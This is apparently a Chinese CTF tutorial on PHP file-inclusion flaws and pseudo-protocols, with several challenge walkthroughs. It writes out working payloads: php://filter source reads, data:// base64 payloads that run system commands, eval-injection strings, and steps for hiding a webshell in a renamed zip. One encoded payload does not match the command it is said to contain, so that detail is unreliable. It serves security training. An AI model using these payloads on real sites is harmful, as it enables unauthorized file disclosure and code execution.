Second CertStone

CTF-WEB:PHP 伪协议与文件包含

2024-08-23 · 10 min read

文件包含漏洞

php中,为了更好地实现代码的重用性,可以使用文件包含函数将文件包含进来,直接使用文件中的代码来提高重用性。但是这也产生了文件包含漏洞,产生原因是在通过 PHP 的函数引入文件时,为了灵活包含文件会将被包含文件设置为变量,通过动态变量来引入需要包含的文件。此时若用户对变量的值可控,同时服务器端未对变量值进行合理地校验或者校验被绕过,就会导致文件包含漏洞。

文件包含函数

函数 功能
include() 代码执行到 include() 函数时将文件包含
include_once() 当重复调用同一文件时只调用一次,功能与 include() 相同
require() require() 执行如果发生错误,函数会报错并终止脚本
require_once() 当重复调用同一文件时只调用一次,功能与 require() 相同

includerequire的差别:

  • include:遇到错误只发出警告,不会出现停止
  • require:遇到错误要停止

包含漏洞分类

本地包含

当包含的文件在服务器本地时,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代码,可以是文本或图片等。只要文件被包含就会被服务器脚本语言执行,如果包含的文件内容不符合 php 语法,会直接将文件内容输出。例如下面这段简易的代码:

<?php
    $file = $_GET['file'];
    include($file);
?>

远程包含

当包含的文件在远程服务器上时,就形成了远程文件包含。所包含远程服务器的文件后缀不能与目标服务器语言相同,远程文件包含需要在 php.ini 中设置:

allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)

伪协议

PHP 伪协议

PHP 伪协议是 PHP 支持的协议与封装协议,几个 PHP 支持的伪协议如下。

伪协议 功能
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
php:// 访问各个输入/输出流
phar:// PHP 归档
zip:// 压缩流

例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。

?file=php://filter/read=convert.base64-encode/resource=index.php

稍微解释下这个做法,php://filter/ 是一种访问本地文件的协议,/read=convert.base64-encode/ 表示读取的方式是 base64 编码后,resource=index.php 表示目标文件为index.php

为要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。
php 协议还常用 php://input,这可以访问请求的原始数据的只读流,可以读取 POST 请求的参数。

使用样例

假设一个测试页面该页面存在文件包含漏洞,且网站内部有密码的备份文件,尝试获取密码。在 index.php 页面下有个 file 参数用于接收要包含的文件,设置之为 php://input 伪协议,用 post 传递要执行的 php 代码。系统执行 ls 命令遍历目录,看到当前目录下有 2 个 php 文件。

显然密码文件不在这里,执行 pwd 命令查看当前的目录,看到这里距离站点根目录还有好几层。

使用“ls ..”遍历上一级目录,看到一张图片和 2 个网站的目录。

使用“ls ../..”遍历上一级的上一级目录,看到文件“mima”,此地无银三百两。

使用 php://filter 伪协议查看该文件,base64 解码后得到想要的东西。

?file=php://filter/read=convert.base64-encode/resource=../../mima


php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。


php://filter 的使用:如
php://filter/read=convert.base64-encode/resource=flag.php
include("php://filter/resource=index.php"); <==> include("index.php");
 
php://filter 伪协议组成:
read=<读链的筛选列表>
resource=<要过滤的数据流>
write=<写链的筛选列表>
 
php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件
 
read 对应要设置的过滤器:
常见的过滤器分字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
其中convert.base64-encode ,convert.base64-decode都属于 转换过滤器

转换过滤器,伪协议中的字符被过滤时,convert.*过滤器支持convert.iconv.* 格式,

使用方法:

convert.iconv.<input-encoding>.<output-encoding>convert.iconv.<input-encoding>/<output-encoding>

例如:

convert.iconv.UCS-4*.UCS-4BE   --->  将指定的文件从UCS-4*转换为UCS-4BE 输出

资料:php支持的编码格式(部分)

data 伪协议

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

img

如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

img
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 例如:phar://xxx.png/shell.php

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。

步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例题:bugku-flag 在 index 里

打开网页,点击后观察 url 有个文件包含漏洞,也就是说我们可以想办法把包含 flag 的文件导出来。

根据提示 flag 在 index.php 里,使用 php 伪协议把文件内容的 base64 编码导出,解码得到 flag。

例题:bugku-本地包含

题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量是 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");      //var_dump() 函数可以输出变量的类型和值
    show_source(__FILE__);
?>

第一种解法是利用 eval() 函数,它把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码且必须以分号结尾。这里 eval() 会把变量 a 中的内容提取出来,然后执行 var_dump() 函数输出。不过由于变量 a 来自于变量 hello 变量,而如果 hello 变量中的内容是代码,也会被执行。所以这里可以传入一句代码来直接显示 flag.php,例如:

hello=);show_source(%27flag.php%27

则在 eval 中,就会把上述 hello 的值替换掉变量 a,等同于执行如下代码:

var_dump();
show_source('flag.php');

同理,使用其他的函数显示文件也是可以的,注意使用 “);” 来构造。

hello=);print_r(file("flag.php")
hello=);var_dump(file("flag.php")
hello=);include(@$_POST['b']

第二种解法就是用 PHP 伪协议把 flag.php 文件读出来,然后再使用 include() 函数包含出来。

当然还有第 3 种解法,就是直接把 flag.php 导入到 hello 变量中。

例题:攻防世界-Web_php_include

打开网页,看到一段 PHP 代码如下,观察到这段代码有 include() 函数,因此这题要考虑文件包含漏洞。strstr() 函数查找字符串首次出现的位置,然后返回字符串剩余部分。注意到这段代码使用了 strstr() 函数将传入参数中的 “php://” 全部删了,也就是说此处无法直接使用 PHP 伪协议来完成。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

注意到这里还传递了一个参数 “hello”,我们尝试传一个参数进去,发现这个参数被回显回了网页。因此我们考虑以命令执行,然后命令执行的结果回显到浏览器,例如用 ls、cat 命令来查看。

这里可以改用 data 伪协议来做,首先我们还是要先知道 flag 放在哪里,写出如下代码,则网页就会执行 ls 命令输出目录下的文件名。

<?php system("ls")?>

根据 data 伪协议的使用方法,我们需要把上述代码用 base64 编码然后传入:

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=


接下来就要查看 “fl4gisisish3r3.php” 这个文件的内容了,还是一样写出下面代码让网页执行 cat 命令查看文件。

<?php system("cat fl4gisisish3r3.php")?>

还是一样把上述代码用 base64 编码然后传入,然后打开 F12 查看源码就能看到 flag。

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQiKT8+

参考资料

文件包含漏洞学习总结
Web安全实战系列:文件包含漏洞
PHP伪协议总结 各协议用法实践

实操例题

[ACTF2020 新生赛]Include

[SWPUCTF 2021 新生赛]include

【难】日志包含:[HNCTF 2022 WEEK2]easy_include

access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

[tip type="info"]
原文链接: https://www.cnblogs.com/linfangnan/p/13535097.html

本文基于上述文章修改而来
[/tip]